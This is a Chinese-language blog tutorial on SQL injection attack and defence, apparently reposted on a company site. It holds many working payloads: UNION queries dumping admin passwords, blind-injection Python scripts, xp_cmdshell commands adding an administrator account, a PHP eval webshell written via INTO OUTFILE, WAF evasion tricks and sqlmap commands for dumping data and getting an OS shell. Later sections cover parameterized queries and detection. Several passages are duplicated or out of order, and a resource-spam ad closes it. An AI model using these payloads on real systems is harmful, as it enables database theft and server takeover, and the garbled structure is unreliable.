乌海市网站建设_网站建设公司_Ruby_seo优化
2025/12/22 10:38:23 网站建设 项目流程

SQL注入实战攻防:从入门到绕过WAF

前段时间帮朋友的公司做渗透测试,在一个看似防护严密的系统上发现了SQL注入漏洞。这让我意识到,即使在2025年,SQL注入依然是Web安全的头号威胁。今天就来聊聊SQL注入的完整攻防链路,从最基础的原理到高级的WAF绕过技巧。

为什么SQL注入至今仍是最危险的漏洞

翻看最近几年的安全事件通报,SQL注入漏洞导致的数据泄露事件依然占据榜首。2024年某电商平台因SQL注入导致千万级用户数据泄露,某政务系统因注入漏洞被植入后门。这些都不是新闻,而是一直在发生的现实。

SQL注入的危险之处在于:

从零开始:理解SQL注入的本质

最近在给团队做培训时,我发现很多开发同学对SQL注入的理解还停留在' or 1=1--这种教科书式的例子。实际上,SQL注入的核心是代码与数据的边界混淆

举个最简单的例子,一个用户搜索功能:

SELECT * FROM products WHERE name LIKE '%$keyword%'

当用户输入iPhone时,查询正常执行。但如果输入%' UNION SELECT username,password FROM users--,查询就变成了:

SELECT * FROM products WHERE name LIKE '%%' UNION SELECT username,password FROM users--%'

数据库会先执行正常查询,然后执行 UNION 拼接的恶意查询,返回用户表的所有账号密码。

这就是SQL注入的本质:用户输入被当作SQL代码执行,而不是纯粹的数据

注入类型详解:不只是UNION查询

1. 联合查询注入(UNION-based)

这是最直观也是教程中最常见的注入方式。核心思路是利用 UNION 操作符合并查询结果。

实战案例:某企业内部管理系统的用户查询功能

原始请求:/user.php?id=1 正常返回:显示ID为1的用户信息 注入测试:/user.php?id=1' ORDER BY 5-- 返回:数据库报错(说明列数少于5) 注入测试:/user.php?id=1' ORDER BY 3-- 返回:正常(说明查询结果有3列) 构造payload:/user.php?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- 返回:数据库中所有表名 进一步提取:/user.php?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='admin'-- 返回:admin表的所有字段名 最终获取数据:/user.php?id=-1' UNION SELECT 1,concat(username,':',password),3 FROM admin-- 返回:管理员账号密码

关键点

**关键点**: - 使用 ORDER BY 判断列数 - 前面查询ID设为-1让原查询无结果,突出UNION结果 - 利用 group_concat 将多行结果合并为一行 - information_schema 是MySQL的系统库,存储了数据库结构信息 ### 2. 报错注入(Error-based) 当页面不显示查询结果,但会显示数据库错误信息时,可以利用特定函数触发报错,将数据包含在错误信息中。 **MySQL常用报错函数**: ```sql -- extractvalue报错 ' AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))-- -- updatexml报错 ' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -- floor报错 ' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand()*2))x FROM information_schema.tables GROUP BY x)a)--

实战中的坑

3. 布尔盲注(Boolean-based Blind)

页面不显示查询结果,也不显示错误,只能通过页面响应的差异判断注入语句是否执行成功。

判断逻辑

-- 测试注入点 /news.php?id=1' AND '1'='1 (页面正常) /news.php?id=1' AND '1'='2 (页面异常) -- 判断数据库名称长度 /news.php?id=1' AND length(database())>5-- (正常,说明数据库名大于5个字符) /news.php?id=1' AND length(database())>10-- (异常,说明数据库名不大于10个字符) -- 逐位猜解数据库名 /news.php?id=1' AND substr(database(),1,1)='t'-- (正常,第一位是t) /news.php?id=1' AND substr(database(),2,1)='e'-- (正常,第二位是e)

效率问题
布尔盲注需要大量请求,一个10字符的字符串理论上需要 10 * 95(可打印字符数)= 950 次请求。实际操作中:

4. 时间盲注(Time-based Blind)

比布尔盲注更隐蔽,通过页面响应时间判断。适用于页面无论如何都返回相同内容的场景。

MySQL延时函数

-- sleep函数 ' AND IF(length(database())>5,sleep(5),0)-- -- benchmark函数 ' AND IF(substr(database(),1,1)='t',benchmark(5000000,md5('test')),0)--

实战经验
去年遇到一个API接口,无论输入什么都返回{"status":"success"},只能用时间盲注。写了个Python脚本,利用多线程加速:

import requests import time def check_char(pos, char): url = f"http://target.com/api/search" payload = f"' AND IF(substr(database(),{pos},1)='{char}',sleep(3),0)--" start = time.time() requests.get(url, params={'q': payload}, timeout=5) return (time.time() - start) > 2.5 # 考虑网络延迟

整个数据库名用了大概半小时才跑出来,但确实是唯一可行的方法。

5. 堆叠查询注入(Stacked Queries)

在支持多语句执行的数据库中(如SQL Server、PostgreSQL),可以用分号分隔执行多条SQL语句。

-- 创建新管理员 '; INSERT INTO admin(username,password) VALUES('hacker','123456')-- -- 删除日志 '; DELETE FROM logs WHERE 1=1-- -- 修改数据 '; UPDATE users SET role='admin' WHERE username='test'--

危险性
堆叠查询的危害远超数据读取,可以直接修改数据、执行系统命令(xp_cmdshell)、创建后门。好在MySQL的mysqli和PDO默认不支持堆叠查询,但其他数据库要特别注意。

不同数据库的注入差异

在实战中,不同数据库的注入手法差异很大。以前做项目时踩过不少坑,这里总结一些关键区别:

MySQL注入

优势

特色技巧

-- 读取文件 ' UNION SELECT 1,load_file('/etc/passwd'),3-- -- 写入文件(需要secure_file_priv配置允许) ' UNION SELECT 1,'<?php @eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -- 绕过空格过滤 '/**/UNION/**/SELECT/**/1,2,3-- '%0aUNION%0aSELECT%0a1,2,3--
SQL Server注入

特色

实战案例

-- 启用xp_cmdshell '; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE-- -- 执行系统命令 '; EXEC xp_cmdshell 'whoami'-- -- 添加管理员用户 '; EXEC xp_cmdshell 'net user hacker Password123! /add'-- '; EXEC xp_cmdshell 'net localgroup administrators hacker /add'--

去年遇到一个SQL Server注入,直接通过 xp_cmdshell 下载了远程木马,拿到了服务器权限。当然这是在授权测试环境下,实际攻击是违法的。

PostgreSQL注入

特点

常用payload

-- 查询当前用户 ' UNION SELECT null,current_user,null-- -- 查询所有表 ' UNION SELECT null,tablename,null FROM pg_tables WHERE schemaname='public'-- -- 读取文件 '; CREATE TABLE temp(data text);COPY temp FROM '/etc/passwd';SELECT * FROM temp--
Oracle注入

难点

-- 基础查询 ' UNION SELECT null,user,null FROM dual-- -- 查询表名 ' UNION SELECT null,table_name,null FROM all_tables-- -- 查询列名 ' UNION SELECT null,column_name,null FROM all_tab_columns WHERE table_name='USERS'--

WAF绕过技巧:实战经验总结

这部分是整篇文章的重点。现在大部分网站都部署了WAF(Web应用防火墙),简单的注入payload会被直接拦截。以下是我这几年总结的绕过技巧。

1. 大小写混淆

最简单但有时有效的方法:

原始:' UNION SELECT 绕过:' UnIoN SeLeCt 绕过:' uNiOn sElEcT

有些WAF的规则是区分大小写的,简单的大小写变换就能绕过。虽然现在这种低级WAF不多了,但偶尔还能遇到。

2. 编码绕过

URL编码

原始:' UNION SELECT 一次编码:%27%20UNION%20SELECT 二次编码:%2527%2520UNION%2520SELECT

十六进制编码(MySQL):

原始:' UNION SELECT 1,'admin',3-- 编码:' UNION SELECT 1,0x61646d696e,3--

Unicode编码

%u0027 = ' %u0055NION = UNION
3. 注释符混淆

MySQL支持多种注释符,可以用来绕过空格、关键字检测:

-- 内联注释 '/**/UNION/**/SELECT/**/1,2,3-- -- 版本注释(只在特定版本执行) '/*!50000UNION*//*!50000SELECT*/1,2,3-- -- 多行注释嵌套 '/*! UNION */ /*! SELECT */ 1,2,3--

实战案例
某次测试中,WAF拦截了所有包含UNION SELECT的请求。使用内联注释/**/替代空格后成功绕过:

原始payload(被拦截): ' UNION SELECT 1,2,3-- 绕过payload(成功): '/**/UNION/**/SELECT/**/1,2,3--

实战技巧
去年测试一个系统,WAF拦截了ANDOR关键字,但&&||可以通过:

%20 (空格) %09 (Tab) %0a (换行) %0b (垂直Tab) %0c (换页) %0d (回车) %a0 (不间断空格) + (加号,在某些场景下) /**/ (注释) () (括号,在某些位置)

关键字替换

AND => && OR => || = => LIKE / REGEXP / RLIKE > => GREATEST SUBSTR => MID / SUBSTRING ASCII => ORD BENCHMARK => SLEEP

实战技巧
去年测试一个系统,WAF拦截了ANDOR关键字,但&&||可以通过:

被拦截:' AND 1=1-- 绕过:' && 1=1-- 被拦截:' OR 1=1-- 绕过:' || 1=1--
4. 等价替换

空格替换

有些WAF对请求长度有限制,超长payload可能导致WAF解析失败而放行:

' UNION SELECT 1,2,3[...大量垃圾字符...]--

在实际测试中,我会在关键payload前后添加大量无害字符:

'/*aaaaaaaaaa...重复几千个a...*/UNION/*bbbbbb...*/SELECT/*cccccc...*/1,2,3--

有时候WAF的处理缓冲区只有几KB,超出后直接放行。不过这个方法成功率不高,主要是试试运气。

6. 分块传输绕过

在HTTP协议层面做文章。如果WAF在应用层检测,但服务器支持chunked编码,可以尝试分块传输:

POST /search.php HTTP/1.1 Transfer-Encoding: chunked 5 ' UNI 5 ON SE 6 LECT 1

每个chunk都是合法的,但拼接后就是完整的注入语句。这需要专门的工具实现,手工构造比较麻烦。

7. 参数污染(HPP)

某些WAF只检查第一个同名参数,可以尝试传递多个同名参数:

原始:/search.php?id=1' UNION SELECT 1,2,3-- 绕过:/search.php?id=1&id=' UNION SELECT 1,2,3--

不同的服务器对多个同名参数的处理不同:

如果WAF和后端服务器处理不一致,就有绕过机会。

8. JSON注入

现在很多API使用JSON格式传参,有些WAF对JSON格式的检测不够严格:

原始: {"username":"admin","password":"123456"} 注入: {"username":"admin' UNION SELECT 1,2,3--","password":"123456"}

去年遇到一个案例,WAF拦截了URL参数中的SQL关键字,但JSON参数中的同样关键字却能通过。原因是WAF厂商只针对传统表单做了规则,忽略了JSON格式。

9. Tamper脚本

SQLMap自带了大量Tamper脚本,可以自动化进行各种变换:

# 空格替换为注释 sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment # 使用随机大小写 sqlmap -u "http://target.com/page.php?id=1" --tamper=randomcase # 多种混淆 sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between,randomcase

常用的Tamper组合:

# 针对MySQL --tamper=space2comment,between,versionedkeywords # 针对MSSQL --tamper=space2mssqlblank,charencode # 通用混淆 --tamper=randomcase,space2comment,between,charencode

也可以自己写Tamper脚本。我写过一个针对特定WAF的脚本,把所有空格替换为/**/,把UNION替换为/*!50000UNION*/,成功率提升了不少。

防御方案:开发者必读

讲了这么多攻击方法,作为安全从业者,更重要的是知道如何防御。

1. 参数化查询(最重要!)

这是防御SQL注入最有效、最根本的方法。无论如何强调都不为过。

错误示范

// PHP $sql = "SELECT * FROM users WHERE id = " . $_GET['id'];

正确做法

// PHP PDO $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]); // Java PreparedStatement String sql = "SELECT * FROM users WHERE id = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setInt(1, userId); // Python cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

参数化查询的原理是将SQL语句的结构和数据分离。数据库会先编译SQL语句结构,用户输入只作为参数值传递,永远不会被当作SQL代码执行。

2. ORM框架的正确使用

使用ORM(对象关系映射)框架可以大大降低SQL注入风险,但要注意不要拼接原生SQL

Django(安全)

User.objects.filter(id=user_id) # 安全 User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id]) # 安全

Django(危险)

User.objects.raw("SELECT * FROM users WHERE id = " + user_id) # 危险!

Hibernate(安全)

session.createQuery("FROM User WHERE id = :id") .setParameter("id", userId) .list();

去年代码审计时发现,很多开发为了写复杂查询,在ORM框架里直接拼接SQL字符串,完全失去了ORM的保护作用。

3. 输入验证

虽然输入验证不能作为唯一防御手段,但仍然是重要的防御层。

白名单验证

// 数字ID验证 if (!ctype_digit($_GET['id'])) { die('Invalid ID'); } // 枚举值验证 $allowed_sort = ['name', 'date', 'price']; if (!in_array($_GET['sort'], $allowed_sort)) { die('Invalid sort field'); }

类型强制

// 强制转换为整数 $id = (int)$_GET['id']; // 使用filter函数 $id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
4. 最小权限原则

数据库账号应该严格限制权限:

MySQL权限配置示例

-- 创建专用账号 CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password'; -- 只授予必要的权限 GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost'; -- 撤销文件操作权限 REVOKE FILE ON *.* FROM 'webapp'@'localhost';

去年帮一家公司做安全审计,发现他们的Web应用直接用root账号连数据库。我演示了一个注入漏洞,直接通过INTO OUTFILE写入WebShell。如果用的是受限账号,这个攻击链就会中断。

5. WAF部署

WAF不能替代安全编码,但可以作为纵深防御的一层:

开源WAF

商业WAF

WAF配置建议

需要注意的是,前面讲了这么多绕过技巧,说明WAF不是万能的。WAF应该作为辅助防护手段,而不是唯一防线。

6. 安全审计与监控

建立持续的安全监控机制:

代码审计

运行时监控

日志分析

可疑特征: - URL参数包含单引号、双引号 - 包含SQL关键字:UNION, SELECT, INSERT, UPDATE, DELETE - 包含注释符:--, /*, # - 包含数据库函数:concat, group_concat, load_file - 异常长的参数值

我写过一个简单的日志分析脚本,每小时扫描访问日志,提取包含SQL关键字的请求,发送告警邮件。这个脚本帮助我们及时发现了多次攻击尝试。

自动化工具:SQLMap实战

最后聊聊SQLMap,这是SQL注入领域最强大的自动化工具。很多人知道SQLMap,但不一定用得好。

基础使用

最简单的测试

sqlmap -u "http://target.com/page.php?id=1"

POST请求

sqlmap -u "http://target.com/login.php" --data="username=admin&password=123"

从Burp导入请求

# 在Burp中右键请求 -> Copy to file -> 保存为request.txt sqlmap -r request.txt

这是最实用的方法。在浏览器中正常操作,Burp拦截请求,导出给SQLMap分析。这样可以保持完整的Cookie、Header等信息。

进阶技巧

指定注入点

# 使用*标记注入点 sqlmap -u "http://target.com/page.php?id=1*&type=news"

指定注入技术

# 只测试UNION查询 sqlmap -u "http://target.com/page.php?id=1" --technique=U # 测试时间盲注和布尔盲注 sqlmap -u "http://target.com/page.php?id=1" --technique=T,B

技术类型:

数据提取

# 列出所有数据库 sqlmap -u "http://target.com/page.php?id=1" --dbs # 列出指定数据库的表 sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --tables # 列出表的字段 sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --columns # 导出数据 sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --dump # 只导出特定字段 sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users -C username,password --dump

文件操作

# 读取文件 sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" # 写入文件(上传shell) sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

系统命令执行

# 获取OS Shell(需要xp_cmdshell或其他命令执行方式) sqlmap -u "http://target.com/page.php?id=1" --os-shell # 获取SQL Shell sqlmap -u "http://target.com/page.php?id=1" --sql-shell
绕过WAF的参数
# 使用随机User-Agent sqlmap -u "http://target.com/page.php?id=1" --random-agent # 降低测试速度(避免触发频率限制) sqlmap -u "http://target.com/page.php?id=1" --delay=2 # 使用Tamper脚本 sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment # 指定风险等级和测试级别 sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3

level和risk的含义:

实战案例
去年测试一个有WAF保护的网站,常规SQLMap测试全部被拦截。最后用了这个组合成功绕过:

sqlmap -u "http://target.com/api/search" \ --data='{"keyword":"test"}' \ --headers="Content-Type: application/json" \ --random-agent \ --tamper=space2comment,between \ --delay=1 \ --level=3 \ --technique=T \ --batch

关键点:

整个过程跑了2个多小时,但最终成功提取出数据库名。

SQLMap的局限性

虽然SQLMap很强大,但它不是万能的:

无法检测的场景

误报问题
有时SQLMap会报告存在注入,但实际测试发现是误报。通常发生在:

建议

真实案例分析

最后分享几个我经历过的真实案例(已脱敏处理)。

案例1:二次注入绕过所有防护

场景:某社交平台的用户资料修改功能

第一次测试时,所有输入点都做了严格过滤,单引号、SQL关键字全部被拦截或转义。看起来很安全。

但我注意到一个细节:用户注册时的昵称可以包含单引号(可能是为了支持 O’Brien 这种姓名)。于是我注册了一个昵称为admin'--的账号。

然后在另一个功能点(管理员查看用户列表)触发了注入。因为管理员查询用户时,直接将数据库中的昵称拼接到SQL语句中:

SELECT * FROM logs WHERE username = 'admin'--'

这就是二次注入

    1. 第一次输入时,恶意数据被安全存储到数据库
    1. 第二次查询时,从数据库取出的数据被当作可信数据,直接拼接到SQL中
    1. 绕过了所有输入验证和过滤

教训

    1. 第一次输入时,恶意数据被安全存储到数据库
    1. 第二次查询时,从数据库取出的数据被当作可信数据,直接拼接到SQL中
    1. 绕过了所有输入验证和过滤

教训

案例2:宽字节注入

场景:某电商网站使用GBK编码

网站对用户输入做了addslashes()处理,单引号前会加反斜杠转义:

输入:' 转义后:\'

看起来很安全,但如果数据库使用GBK编码,可以利用宽字节注入绕过。

攻击过程

输入:%df' 处理后:%df\' GBK解析:%df%5c = 運(一个汉字),后面的单引号不在转义 实际效果:運'(单引号逃逸出来了)

完整payload:

%df' UNION SELECT 1,2,3--

防御方法

这个案例让我意识到,字符编码问题可能带来意想不到的安全风险。

案例3:布尔盲注的耐心战

场景:某API接口,无论输入什么都返回固定JSON

{"code":200,"msg":"success","data":[]}

没有报错信息,没有数据显示,看起来无从下手。但我注意到,当SQL语句出错时,返回的data字段是空的;正常时会返回数据。

于是用布尔盲注逐位猜解:

import requests import string url = "http://api.target.com/search" result = "" for pos in range(1, 20): # 假设数据库名不超过20字符 for char in string.ascii_lowercase + string.digits + '_': payload = f"' AND substr(database(),{pos},1)='{char}'--" response = requests.get(url, params={'q': payload}) if '"data":[]' not in response.text: # 有数据返回说明条件为真 result += char print(f"Position {pos}: {char} -> Current: {result}") break else: break # 没有字符匹配,说明到达末尾 print(f"Database name: {result}")

整个过程很枯燥,跑了近1小时,但最终成功获取了数据库名shop_system_v2

然后继续用同样方法提取表名、字段名、数据。整个渗透测试花了大半天,但证明了即使看起来密不透风的系统,只要存在注入点,就能突破。

感悟

防御检查清单

最后给开发者和安全人员提供一个实用的检查清单:

代码层面

数据库层面

架构层面

开发流程

写在最后

SQL注入虽然是个"老"漏洞,但至今仍然广泛存在。根据我的经验,大约30%的Web应用都存在不同程度的SQL注入风险。

作为攻击者(或渗透测试人员),需要掌握各种注入技巧和绕过方法。但作为安全从业者,我更希望大家关注防御。毕竟,预防永远比事后补救更重要。

核心原则只有一条:永远不要相信用户输入,所有外部数据都必须经过验证和处理。

参数化查询不是什么高深技术,但它能防御99%的SQL注入攻击。可惜很多开发者为了省事,仍在用字符串拼接。这就像明知道安全带能救命,却嫌麻烦不系一样。

安全不是某个人的责任,而是整个团队的文化。从产品经理到开发人员,从测试工程师到运维人员,每个人都应该有基本的安全意识。

最后提醒:

    1. 本文内容仅供学习交流,请勿用于非法用途
    1. 未经授权的渗透测试是违法行为
    1. 对自己的系统进行安全测试前,请先备份数据

希望这篇文章能帮助大家更好地理解SQL注入的攻防技术。如果有问题或想交流的,欢迎在评论区留言。


推荐阅读

相关工具

存在。根据我的经验,大约30%的Web应用都存在不同程度的SQL注入风险。

作为攻击者(或渗透测试人员),需要掌握各种注入技巧和绕过方法。但作为安全从业者,我更希望大家关注防御。毕竟,预防永远比事后补救更重要。

核心原则只有一条:永远不要相信用户输入,所有外部数据都必须经过验证和处理。

参数化查询不是什么高深技术,但它能防御99%的SQL注入攻击。可惜很多开发者为了省事,仍在用字符串拼接。这就像明知道安全带能救命,却嫌麻烦不系一样。

安全不是某个人的责任,而是整个团队的文化。从产品经理到开发人员,从测试工程师到运维人员,每个人都应该有基本的安全意识。

最后提醒:

    1. 本文内容仅供学习交流,请勿用于非法用途
    1. 未经授权的渗透测试是违法行为
    1. 对自己的系统进行安全测试前,请先备份数据

希望这篇文章能帮助大家更好地理解SQL注入的攻防技术。如果有问题或想交流的,欢迎在评论区留言。


推荐阅读

相关工具

文章来自网上,侵权请联系博主

互动话题:如果你想学习更多**网络安全&挖漏洞方面**的知识和工具,可以看看以下面!

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。




因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询